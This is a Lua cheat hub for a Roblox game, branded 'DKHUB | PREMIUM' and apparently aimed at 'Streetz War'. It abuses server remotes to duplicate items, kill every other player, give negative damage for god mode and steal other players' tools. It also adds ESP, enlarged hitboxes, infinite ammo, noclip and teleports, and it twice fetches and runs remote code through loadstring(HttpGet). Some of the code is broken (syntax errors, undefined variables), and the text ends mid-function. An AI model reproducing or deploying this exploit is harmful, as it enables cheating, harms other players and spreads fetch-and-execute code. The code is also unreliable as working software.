local Rayfield = loadstring(game:HttpGet('https://[Log in to view URL]'))()
-- Whitelist of usernames
local whitelist = {
"Kaisfrms2hub",
"Player"
"Player",
"Player",
"Player",
"Player",
"Player",
"Player",
}
-- Function to check if a player is whitelisted (case-insensitive)
local function isWhitelisted(player)
for _, username in ipairs(whitelist) do
if player.Name:lower() == username:lower() then
return true
end
end
return false
end
local Window = Rayfield:CreateWindow({
Name = "DKHUB | PREMIUM",
Icon = 0, -- Icon in Topbar. Can use Lucide Icons (string) or Roblox Image (number). 0 to use no icon (default).
LoadingTitle = "Loading...",
LoadingSubtitle = "by Theyfwdk0",
Theme = "", -- Check https://[Log in to view URL]
DisableRayfieldPrompts = false,
DisableBuildWarnings = false, -- Prevents Rayfield from warning when the script has a version mismatch with the interface
ConfigurationSaving = {
Enabled = true,
FolderName = nil, -- Create a custom folder for your hub/game
FileName = "Big Hub"
},
Discord = {
Enabled = true, -- Prompt the user to join your Discord server if their executor supports it
Invite = "dkshub", -- The Discord invite code, do not include discord.gg/. E.g. discord.gg/ ABCD would be ABCD
RememberJoins = true -- Set this to false to make them join the discord every time they load it up
},
KeySystem = False, -- Set this to true to use our key system
KeySettings = {
Title = "DKHUB | KEY VERIFICATION",
Subtitle = "DKHUB | THEYFWDK0",
Note = "Buy A key At .gg/dkshub", -- Use this to tell the user how to get a key
FileName = "Key.txt", -- It is recommended to use something unique as other scripts using Rayfield may overwrite your key file
SaveKey = false, -- The user's key will be saved, but if you change the key, they will be unable to use your script
GrabKeyFromSite = false, -- If this is true, set Key below to the RAW site you would like Rayfield to get the key from
Key = {"DK"} -- List of keys that will be accepted by the system, can be RAW file links (pastebin, github etc) or simple strings ("hello","key22")
}
})
local player = game.Players.LocalPlayer
if not isWhitelisted(player) then
warn("You are not whitelisted!")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Access Denied",
Text = "You are not whitelisted to use this script.",
Duration = 5,
})
return -- Exit the script if the player is not whitelisted
end
local MainTab = Window:CreateTab("Main", 4483362458) -- Title, Image
local MainSection = MainTab:CreateSection("Main Features")
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local VirtualInputManager = game:GetService("VirtualInputManager")
local player = Players.LocalPlayer
local dupeAmount = 10
local StatusLabel = MainTab:CreateLabel("Status: Waiting for action...")
-- Notification function with error handling
local function notify(message, time, type)
local success, err = pcall(function()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = type or "Info",
Text = message,
Duration = time or 5,
})
end)
if not success then
warn("Notification failed: " .. err)
end
end
-- Textbox for Duplication Amount
MainTab:CreateInput({
Name = "Enter Card Dupe Amount",
PlaceholderText = "10",
RemoveTextAfterFocusLost = false,
Flag = "DupeAmount",
Callback = function(value)
dupeAmount = tonumber(value) or 10
if dupeAmount <= 0 then
dupeAmount = 10 -- Fallback value
StatusLabel.Text = "Invalid amount, defaulting to 10."
end
end
})
-- Duplication Function
local function duplicateCardsAndLaptops()
if dupeAmount <= 0 then
StatusLabel.Text = "Invalid amount!"
return
end
StatusLabel.Text = "Buying cards & laptops..."
-- Open Dealer UI
fireclickdetector(game.Workspace["Streetz War"].Anonymous.ClickDetector)
wait(2) -- Wait to ensure the UI is open
player.PlayerGui:WaitForChild("DealerGui")
local shopGui = player.PlayerGui.DealerGui.ShopFrame
shopGui.Visible = true
player.PlayerGui.DealerGui.Frame.Visible = false
game:GetService("RunService"):Set3dRenderingEnabled(false)
-- Position player correctly
repeat wait() until player.Character and player.Character:FindFirstChild("HumanoidRootPart")
player.Character.HumanoidRootPart.CFrame = CFrame.new(-55, 4.5, 170)
wait(0.5)
-- Click buttons for purchasing
local cardButton = shopGui["Blank Card"]
local laptopButton = shopGui["laptop"]
for i = 1, dupeAmount do
task.wait()
-- Click the card button
if cardButton.Visible then
local cardPos = cardButton.AbsolutePosition
VirtualInputManager:SendMouseButtonEvent(cardPos.X + 150, cardPos.Y + 60, 0, true, game, 0)
task.wait(0.1)
VirtualInputManager:SendMouseButtonEvent(cardPos.X + 150, cardPos.Y + 60, 0, false, game, 0)
end
task.wait(0.1)
-- Click the laptop button
if laptopButton.Visible then
local laptopPos = laptopButton.AbsolutePosition
VirtualInputManager:SendMouseButtonEvent(laptopPos.X + 150, laptopPos.Y + 60, 0, true, game, 0)
task.wait(0.1)
VirtualInputManager:SendMouseButtonEvent(laptopPos.X + 150, laptopPos.Y + 60, 0, false, game, 0)
end
end
game:GetService("RunService"):Set3dRenderingEnabled(true)
-- Close the UI
local exitButton = shopGui.exit
VirtualInputManager:SendMouseButtonEvent(exitButton.AbsolutePosition.X + 300, exitButton.AbsolutePosition.Y + 65, 0, true, game, 0)
wait()
VirtualInputManager:SendMouseButtonEvent(exitButton.AbsolutePosition.X + 300, exitButton.AbsolutePosition.Y + 65, 0, false, game, 0)
-- Move player to next step
player.Character.HumanoidRootPart.CFrame = CFrame.new(954, 4.7, -61)
wait(4)
-- Process Laptops
StatusLabel.Text = "Processing laptops..."
local laptopCount = 0
for _, v in pairs(player.Backpack:GetChildren()) do
if v.Name == "Laptop" then
laptopCount = laptopCount + 1
end
end
for i = 1, laptopCount - 1 do
spawn(function()
local args = { true, "NEW123" }
ReplicatedStorage.Assets.Other.GiverPunchmade:InvokeServer(unpack(args))
end)
end
wait(4)
player.Backpack.Laptop.Parent = player.Character
wait(4)
-- Process Cards
StatusLabel.Text = "Processing cards..."
local cardCount = 0
for _, v in pairs(player.Backpack:GetChildren()) do
if v.Name == "Loaded Card" then
cardCount = cardCount + 1
end
end
for i = 1, cardCount do
spawn(function()
local args = { false, "NEW123" }
ReplicatedStorage.Assets.Other.GiverPunchmade:InvokeServer(unpack(args))
end)
end
wait(1)
StatusLabel.Text = "Duplication Complete!"
player.Character.Humanoid:UnequipTools()
end
-- Button for Duplication
MainTab:CreateButton({
Name = "Start Card Duplication",
Callback = function()
duplicateCardsAndLaptops()
end
})
local VisualsTab = Window:CreateTab("Visuals", 4483362458) -- Title, Image
local VisualsSection = VisualsTab:CreateSection("Visuals")
local Toggle = VisualsTab:CreateToggle({
Name = "Name tag",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local esp_settings = { ---- table for esp settings
textsize = 8,
colour = 255,255,255
}
local gui = Instance.new("BillboardGui")
local esp = Instance.new("TextLabel",gui) ---- new instances to make the billboard gui and the textlabel
gui.Name = "Cracked esp"; ---- properties of the esp
gui.ResetOnSpawn = false
gui.AlwaysOnTop = true;
gui.LightInfluence = 0;
gui.Size = UDim2.new(1.75, 0, 1.75, 0);
esp.BackgroundColor3 = Color3.fromRGB(255, 255, 255);
esp.Text = ""
esp.Size = UDim2.new(0.0001, 0.00001, 0.0001, 0.00001);
esp.BorderSizePixel = 4;
esp.BorderColor3 = Color3.new(esp_settings.colour)
esp.BorderSizePixel = 0
esp.Font = "GothamSemibold"
esp.TextSize = esp_settings.textsize
esp.TextColor3 = Color3.fromRGB(esp_settings.colour) -- text colour
game:GetService("RunService").RenderStepped:Connect(function() ---- loops faster than a while loop :)
for i,v in pairs (game:GetService("Players"):GetPlayers()) do
if v ~= game:GetService("Players").LocalPlayer and v.Character.Head:FindFirstChild("Cracked esp")==nil then -- craeting checks for team check, local player etc
esp.Text = "{"..v.Name.."}"
gui:Clone().Parent = v.Character.Head
end
end
end)
end,
})
local Toggle = VisualsTab:CreateToggle({
Name = "esp",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
-- Preview: https://[Log in to view URL]
-- Made by Blissful#4992
local Settings = {
Box_Color = Color3.fromRGB(255, 0, 0),
Tracer_Color = Color3.fromRGB(255, 0, 0),
Tracer_Thickness = 1,
Box_Thickness = 1,
Tracer_Origin = "Bottom", -- Middle or Bottom if FollowMouse is on this won't matter...
Tracer_FollowMouse = false,
Tracers = true
}
local Team_Check = {
TeamCheck = false, -- if TeamColor is on this won't matter...
Green = Color3.fromRGB(0, 255, 0),
Red = Color3.fromRGB(255, 0, 0)
}
local TeamColor = true
--// SEPARATION
local player = game:GetService("Players").LocalPlayer
local camera = game:GetService("Workspace").CurrentCamera
local mouse = player:GetMouse()
local function NewQuad(thickness, color)
local quad = Drawing.new("Quad")
quad.Visible = false
quad.PointA = Vector2.new(0,0)
quad.PointB = Vector2.new(0,0)
quad.PointC = Vector2.new(0,0)
quad.PointD = Vector2.new(0,0)
quad.Color = color
quad.Filled = false
quad.Thickness = thickness
quad.Transparency = 1
return quad
end
local function NewLine(thickness, color)
local line = Drawing.new("Line")
line.Visible = false
line.From = Vector2.new(0, 0)
line.To = Vector2.new(0, 0)
line.Color = color
line.Thickness = thickness
line.Transparency = 1
return line
end
local function Visibility(state, lib)
for u, x in pairs(lib) do
x.Visible = state
end
end
local function ToColor3(col) --Function to convert, just cuz c;
local r = col.r --Red value
local g = col.g --Green value
local b = col.b --Blue value
return Color3.new(r,g,b); --Color3 datatype, made of the RGB inputs
end
local black = Color3.fromRGB(0, 0 ,0)
local function ESP(plr)
local library = {
--//Tracer and Black Tracer(black border)
blacktracer = NewLine(Settings.Tracer_Thickness*2, black),
tracer = NewLine(Settings.Tracer_Thickness, Settings.Tracer_Color),
--//Box and Black Box(black border)
black = NewQuad(Settings.Box_Thickness*2, black),
box = NewQuad(Settings.Box_Thickness, Settings.Box_Color),
--//Bar and Green Health Bar (part that moves up/down)
healthbar = NewLine(3, black),
greenhealth = NewLine(1.5, black)
}
local function Colorize(color)
for u, x in pairs(library) do
if x ~= library.healthbar and x ~= library.greenhealth and x ~= library.blacktracer and x ~= library.black then
x.Color = color
end
end
end
local function Updater()
local connection
connection = game:GetService("RunService").RenderStepped:Connect(function()
if plr.Character ~= nil and plr.Character:FindFirstChild("Humanoid") ~= nil and plr.Character:FindFirstChild("HumanoidRootPart") ~= nil and plr.Character.Humanoid.Health > 0 and plr.Character:FindFirstChild("Head") ~= nil then
local HumPos, OnScreen = camera:WorldToViewportPoint(plr.Character.HumanoidRootPart.Position)
if OnScreen then
local head = camera:WorldToViewportPoint(plr.Character.Head.Position)
local DistanceY = math.clamp((Vector2.new(head.X, head.Y) - Vector2.new(HumPos.X, HumPos.Y)).magnitude, 2, math.huge)
local function Size(item)
item.PointA = Vector2.new(HumPos.X + DistanceY, HumPos.Y - DistanceY*2)
item.PointB = Vector2.new(HumPos.X - DistanceY, HumPos.Y - DistanceY*2)
item.PointC = Vector2.new(HumPos.X - DistanceY, HumPos.Y + DistanceY*2)
item.PointD = Vector2.new(HumPos.X + DistanceY, HumPos.Y + DistanceY*2)
end
Size(library.box)
Size(library.black)
--//Tracer
if Settings.Tracers then
if Settings.Tracer_Origin == "Middle" then
library.tracer.From = camera.ViewportSize*0.5
library.blacktracer.From = camera.ViewportSize*0.5
elseif Settings.Tracer_Origin == "Bottom" then
library.tracer.From = Vector2.new(camera.ViewportSize.X*0.5, camera.ViewportSize.Y)
library.blacktracer.From = Vector2.new(camera.ViewportSize.X*0.5, camera.ViewportSize.Y)
end
if Settings.Tracer_FollowMouse then
library.tracer.From = Vector2.new(mouse.X, mouse.Y+36)
library.blacktracer.From = Vector2.new(mouse.X, mouse.Y+36)
end
library.tracer.To = Vector2.new(HumPos.X, HumPos.Y + DistanceY*2)
library.blacktracer.To = Vector2.new(HumPos.X, HumPos.Y + DistanceY*2)
else
library.tracer.From = Vector2.new(0, 0)
library.blacktracer.From = Vector2.new(0, 0)
library.tracer.To = Vector2.new(0, 0)
library.blacktracer.To = Vector2.new(0, 02)
end
--// Health Bar
local d = (Vector2.new(HumPos.X - DistanceY, HumPos.Y - DistanceY*2) - Vector2.new(HumPos.X - DistanceY, HumPos.Y + DistanceY*2)).magnitude
local healthoffset = plr.Character.Humanoid.Health/plr.Character.Humanoid.MaxHealth * d
library.greenhealth.From = Vector2.new(HumPos.X - DistanceY - 4, HumPos.Y + DistanceY*2)
library.greenhealth.To = Vector2.new(HumPos.X - DistanceY - 4, HumPos.Y + DistanceY*2 - healthoffset)
library.healthbar.From = Vector2.new(HumPos.X - DistanceY - 4, HumPos.Y + DistanceY*2)
library.healthbar.To = Vector2.new(HumPos.X - DistanceY - 4, HumPos.Y - DistanceY*2)
local green = Color3.fromRGB(0, 255, 0)
local red = Color3.fromRGB(255, 0, 0)
library.greenhealth.Color = red:lerp(green, plr.Character.Humanoid.Health/plr.Character.Humanoid.MaxHealth);
if Team_Check.TeamCheck then
if plr.TeamColor == player.TeamColor then
Colorize(Team_Check.Green)
else
Colorize(Team_Check.Red)
end
else
library.tracer.Color = Settings.Tracer_Color
library.box.Color = Settings.Box_Color
end
if TeamColor == true then
Colorize(plr.TeamColor.Color)
end
Visibility(true, library)
else
Visibility(false, library)
end
else
Visibility(false, library)
if game.Players:FindFirstChild(plr.Name) == nil then
connection:Disconnect()
end
end
end)
end
coroutine.wrap(Updater)()
end
for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Name ~= player.Name then
coroutine.wrap(ESP)(v)
end
end
game.Players.PlayerAdded:Connect(function(newplr)
if newplr.Name ~= player.Name then
coroutine.wrap(ESP)(newplr)
end
end)
end,
})
-- Initialize global variables
_G.espEnabled = _G.espEnabled or false
local espColor = espColor or Color3.new(1, 0, 0) -- Default color is red
local espBoxes = espBoxes or {} -- Stores ESP boxes for each player
local espConnection = nil -- Keeps track of the RenderStepped connection
-- Function to create an ESP box around a player
local function createESPBox(player)
if not player or not player.Character then return end
-- Create a box or a part representing the ESP (as a simple example)
local espPart = Instance.new("Part")
espPart.Size = Vector3.new(4, 6, 4)
espPart.Anchored = true
espPart.CanCollide = false
espPart.Transparency = 0.5
espPart.Color = espColor
espPart.Parent = game.Workspace
-- Set position to the player's character
espPart.CFrame = player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 3, 0)
-- Store the ESP box so it can be updated later
espBoxes[player] = espPart
end
-- Function to remove ESP box for a player
local function removeESP()
for _, box in pairs(espBoxes) do
if box and box.Parent then
box:Destroy()
end
end
espBoxes = {}
end
-- Function to update ESP boxes (called every frame)
local function updateESP()
for player, box in pairs(espBoxes) do
if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
box.CFrame = player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 3, 0)
else
box:Destroy()
espBoxes[player] = nil
end
end
end
local VisualsSection = VisualsTab:CreateSection("Security")
local Button = VisualsTab:CreateButton({
Name = "hide name",
Callback = function()
for _, player in pairs(game.Players:GetPlayers()) do
local character = player.Character
if character and character:FindFirstChild("Head") then
local nameGui = character.Head:FindFirstChild("NameGui")
if nameGui and nameGui:FindFirstChild("Main") then
local nameLabel = nameGui.Main:FindFirstChild("Name")
if nameLabel then
nameLabel.Text = "Discord.gg/dkshub" -- change dis with the name u want
end
end
end
end end,
})
local Button = VisualsTab:CreateButton({
Name = "Hide level",
Callback = function()
for _, player in pairs(game.Players:GetPlayers()) do
local character = player.Character
if character and character:FindFirstChild("Head") then
local nameGui = character.Head:FindFirstChild("NameGui")
if nameGui and nameGui:FindFirstChild("Main") then
local levelLabel = nameGui.Main:FindFirstChild("Level")
if levelLabel then
levelLabel.Text = "lvl 2317094803241264304" -- This is the level changer :p
end
end
end
end
end,
})
local AimTab = Window:CreateTab("Aim", 4483362458) -- Title, Image
local AimSection = AimTab:CreateSection("Weapon Features")
local Toggle = AimTab:CreateToggle({
Name = "Inf Ammo",
CurrentValue = false,
Flag = "InfiniteAmmo",
Callback = function(state)
_G.infiniteAmmo = state
task.spawn(function()
while _G.infiniteAmmo do
local player = game.Players.LocalPlayer
local tool = player.Character and player.Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Stuff") then
local ammoValues = tool.Stuff.Values
ammoValues.CurrentAmmo.MaxValue = math.huge
ammoValues.StoredAmmo.MaxValue = math.huge
ammoValues.CurrentAmmo.Value = math.huge
ammoValues.StoredAmmo.Value = math.huge
end
task.wait(0.5) -- Prevents excessive loops
end
end)
end
})
local runService = game:GetService("RunService")
local players = game:GetService("Players")
local localPlayer = players.LocalPlayer
_G.ToolStealing = false
local function stealTools()
while _G.ToolStealing do
for _, tool in ipairs(workspace:GetDescendants()) do
if tool:IsA("Tool") and not tool:FindFirstAncestorOfClass("Model") then
local humanoid = localPlayer.Character and localPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:EquipTool(tool)
end
end
end
runService.RenderStepped:Wait()
end
end
local Toggle = AimTab:CreateToggle({
Name = "Dupe gun",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
local safeZones = game.Workspace.SafeZones:GetChildren()
local closestSafeZone = nil
local shortestDistance = math.huge
for _, safeZone in ipairs(safeZones) do
local distance = (humanoidRootPart.Position - safeZone.Position).Magnitude
if distance < shortestDistance then
shortestDistance = distance
closestSafeZone = safeZone
end
end
if closestSafeZone then
humanoidRootPart.CFrame = closestSafeZone.CFrame
character.Humanoid:ChangeState(Enum.HumanoidStateType.Dead)
else
warn("No safe zones found.")
end
end
})
local hitboxColor = Color3.fromRGB(255, 255, 255) -- Default color
local Slider = AimTab:CreateSlider({
Name = "Hitbox Size",
Range = {2, 30},
Increment = 1,
Suffix = "HBES",
CurrentValue = 2,
Flag = "HitboxSize",
Callback = function(size)
for _, player in pairs(game.Players:GetPlayers()) do
if player.Character and player ~= game.Players.LocalPlayer then
local hrp = player.Character:FindFirstChild("HumanoidRootPart")
if hrp then
hrp.Size = Vector3.new(size, size, size)
hrp.Transparency = 0.8
hrp.BrickColor = BrickColor.new(hitboxColor) -- Use the correct property for color
hrp.CanCollide = false
end
end
end
end
})
local ColorPicker = AimTab:CreateColorPicker({
Name = "Hit Box Color",
Color = Color3.fromRGB(255,255,255),
Flag = "ColorPicker1", -- A flag is the identifier for the configuration file
Callback = function(Value)
-- The function that takes place every time the color picker is moved/changed
hitboxColor = Value -- Update the hitbox color with the selected color
end
})
local TeleportsTab = Window:CreateTab("Teleports", 4483362458) -- Title, Image
local TeleportsSection = TeleportsTab:CreateSection("Player Teleport")
local Input = TeleportsTab:CreateInput({
Name = "Username",
PlaceholderText = "username",
RemoveTextAfterFocusLost = false,
Callback = function(v)
local found = false
local inputName = v:lower()
for _, player in ipairs(game.Players:GetPlayers()) do
if player.Name:lower():sub(1, #inputName) == inputName then
playerteleport = player.Name
found = true
break
end
end
if not found then
Rayfield:Notify({
Title = "Error",
Content = 'No player found starting with "' .. v .. '".',
Duration = 4,
Type = "Error"
})
end
end
})
local Button = TeleportsTab:CreateButton({
Name = "tp to player",
Callback = function()
if playerteleport then
local player = game.Players:FindFirstChild(playerteleport)
if player and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = player.Character.HumanoidRootPart.CFrame
end
else
Rayfield:Notify({
Title = "Error",
Content = "No player selected to teleport.",
Duration = 4,
Type = "Error"
})
end
end
})
local TeleportsSection = TeleportsTab:CreateSection("Main Teleports")
local Button = TeleportsTab:CreateButton({
Name = "Apartment 1",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(4, 4, 50)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Apartment 2",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(2570, 4, -107)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Gun Store",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-276, 4, 30)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Dealership",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(842, 5, -6)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Pharmacy",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(42, 5, -258)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Bank",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-535, 5, -347)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Cap Store",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-159, 5, 8)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Shit/Pant Store",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-125, 5, 38)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Chain Store",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(39, 5, -232)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Boxing Gym",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(258, 5, -99)
end
})
local TeleportsSection = TeleportsTab:CreateSection("Dealer Teleports")
local Button = TeleportsTab:CreateButton({
Name = "Card Dealer",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(226, 4, -543)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Illeagal Dealer",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-142, 5, 190)
end
})
local TeleportsSection = TeleportsTab:CreateSection("Job Teleports")
local Button = TeleportsTab:CreateButton({
Name = "Mop Job",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-102, 5, 20)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Pizza Job",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(163, 5, 49)
end
})
local Button = TeleportsTab:CreateButton({
Name = "Box Job",
Callback = function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-118, 5, 300)
end
})
local PlayerTab = Window:CreateTab("Player", 4483362458) -- Title, Image
local PlayerSection = PlayerTab:CreateSection("Player")
local Slider = PlayerTab:CreateSlider({
Name = "Walkspeed",
Range = {0, 300},
Increment = 1,
Suffix = "Speed",
CurrentValue = 16,
Flag = "Slider1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = (Value)
end,
})
local Toggle = PlayerTab:CreateToggle({
Name = "No Clip",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local nocliptoggle = selfsector.element('Toggle', 'Noclip', false, function(v)
_G.noclip = v.Toggle
if not _G.noclip then
local character = game.Players.LocalPlayer.Character
if character then
for _, part in pairs(character:GetDescendants()) do
if part:IsA("BasePart") and part.Parent.Name ~= "Wings" then
part.CanCollide = true
end
end
end
end
while _G.noclip do
game:GetService("RunService").RenderStepped:wait()
local character = game.Players.LocalPlayer.Character
if character then
for _, part in pairs(character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end
end
end)
end
})
local Toggle = PlayerTab:CreateToggle({
Name = "Fly V3",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
loadstring(game:HttpGet("https://[Log in to view URL]"))()
end,
})
local VehicleTab = Window:CreateTab("Vehicle", 4483362458) -- Title, Image
local VehicleSection = VehicleTab:CreateSection("THIS TAB IS BUGGED - WIP")
local Toggle = VehicleTab:CreateToggle({
Name = "Unlock All Cars",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
_G.Unlock = v.Toggle
while _G.Unlock do
wait(0.5)
for i,v in pairs(workspace.SpawnedVehicles:GetChildren()) do
v.DriveSeat.Disabled = false
v.DriveSeat.CanTouch = true
end
end
end})
local ExtraTab = Window:CreateTab("Extra", 4483362458) -- Title, Image
local ExtraSection = ExtraTab:CreateSection("Misc")
local Toggle = PlayerTab:CreateToggle({
Name = "GodMode",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local player = game.Players.LocalPlayer
local character = player.Character
if character and character:FindFirstChild("UpperTorso") and character:FindFirstChild("RightHand") then
local fist = player.Backpack:FindFirstChild("Fist")
if fist and fist:FindFirstChild("Script") then
local script = fist.Script
if script:FindFirstChild("egma") and script:FindFirstChild("legma") then
script.egma:FireServer(character.UpperTorso, -math.huge, character.RightHand)
script.legma:FireServer(character.UpperTorso, -math.huge, character.RightHand)
Rayfield:Notify({
Title = "Success",
Content = "God Mode Activated!",
Duration = 4,
Image = 4483362458,
Actions = {}
})
else
Rayfield:Notify({
Title = "Error",
Content = "Required scripts not found!",
Duration = 4,
Image = 4483362458,
Actions = {}
})
end
else
Rayfield:Notify({
Title = "Error",
Content = "Fist tool not found!",
Duration = 4,
Image = 4483362458,
Actions = {}
})
end
else
Rayfield:Notify({
Title = "Error",
Content = "Character parts missing!",
Duration = 4,
Image = 4483362458,
Actions = {}
})
end
end
})
local Toggle = ExtraTab:CreateToggle({
Name = "One Punch",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
_G.OnePunch = false
local function activateTool()
local character = player.Character or player.CharacterAdded:Wait()
local tool = character:FindFirstChild("Fist")
if tool and _G.OnePunch then
for _, target in ipairs(Players:GetPlayers()) do
if target ~= player and target.Character and target.Character:FindFirstChild("UpperTorso") then
local distance = (target.Character.UpperTorso.Position - character.RightHand.Position).Magnitude
if distance <= 3 then
tool.Script.legma:FireServer(target.Character.UpperTorso, target.Character.Humanoid.Health, character.RightHand)
tool.Script.egma:FireServer(target.Character.UpperTorso, target.Character.Humanoid.Health, character.RightHand)
return
end
end
end
end
end
mouse.Button1Down:Connect(function()
activateTool()
end)
local nocliptoggle = selfsector.element('Toggle', 'One Punch', false, function(v)
_G.OnePunch = v.Toggle
end)
end,
})
local Toggle = ExtraTab:CreateToggle({
Name = "Kill All",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
for _, player in pairs(game.Players:GetChildren()) do
if player ~= game.Players.LocalPlayer and player.Character and player.Character:FindFirstChild("UpperTorso") then
local fist = game.Players.LocalPlayer.Backpack:FindFirstChild("Fist")
if fist and fist:FindFirstChild("Script") then
fist.Script.egma:FireServer(player.Character.UpperTorso, player.Character.Humanoid.Health, game.Players.LocalPlayer.Character.RightHand)
fist.Script.legma:FireServer(player.Character.UpperTorso, player.Character.Humanoid.Health, game.Players.LocalPlayer.Character.RightHand)
end
end
task.wait(0.3) -- Prevents overload
end
Rayfield:Notify({
Title = "Kill All Activated",
Content = "Attempted to kill all players.",
Duration = 4,
Image = 4483362458,
Actions = {}
})
end
})
local Toggle = ExtraTab:CreateToggle({
Name = "Tool Stealing",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local function stealTool(targetPlayer)
local targetCharacter = targetPlayer.Character
if targetCharacter then
for _, tool in ipairs(targetCharacter:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = player.Backpack
print("Stole tool: " .. tool.Name .. " from " .. targetPlayer.Name)
end
end
end
end
for _, targetPlayer in ipairs(Players:GetPlayers()) do
if targetPlayer ~= player then
stealTool(targetPlayer)
end
end
Players.PlayerAdded:Connect(function(targetPlayer)
targetPlayer.CharacterAdded:Connect(function()
stealTool(targetPlayer)
end)
end)
end,
})
local Toggle = ExtraTab:CreateToggle({
Name = "Spin Bot",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local spinAnimationId = "rbxassetid://11475426274" -- Replace with desired spin animation ID
local spinSpeed = 200
local crouchAnimation = Instance.new("Animation")
crouchAnimation.AnimationId = spinAnimationId
local crouchAnimationTrack = humanoid:LoadAnimation(crouchAnimation)
-- Toggle the spin bot on/off based on the value
if Value then
-- Turn on Spin Bot
crouchAnimationTrack:Play()
while Value do
character:SetPrimaryPartCFrame(character.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(spinSpeed), 0))
wait(0.001)
end
crouchAnimationTrack:Stop()
else
-- Turn off Spin Bot
crouchAnimationTrack:Stop()
end
end,
})
local Toggle = ExtraTab:CreateToggle({
Name = "Godmode All",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local toggle = section4.element('Button', 'Godmode All', false, function(v)
for i,v in pairs(game.Players:GetChildren()) do
wait(0.3)
print(v.Name)
if v.Character then
if v.Character:FindFirstChild("UpperTorso") then
game.Players.LocalPlayer.Backpack:WaitForChild("Fist").Script.egma:FireServer(v.Character.UpperTorso, -math.huge, game.Players.LocalPlayer.Character.RightHand)
game.Players.LocalPlayer.Backpack:WaitForChild("Fist").Script.legma:FireServer(v.Character.UpperTorso, -math.huge, game.Players.LocalPlayer.Character.RightHand)
wait()
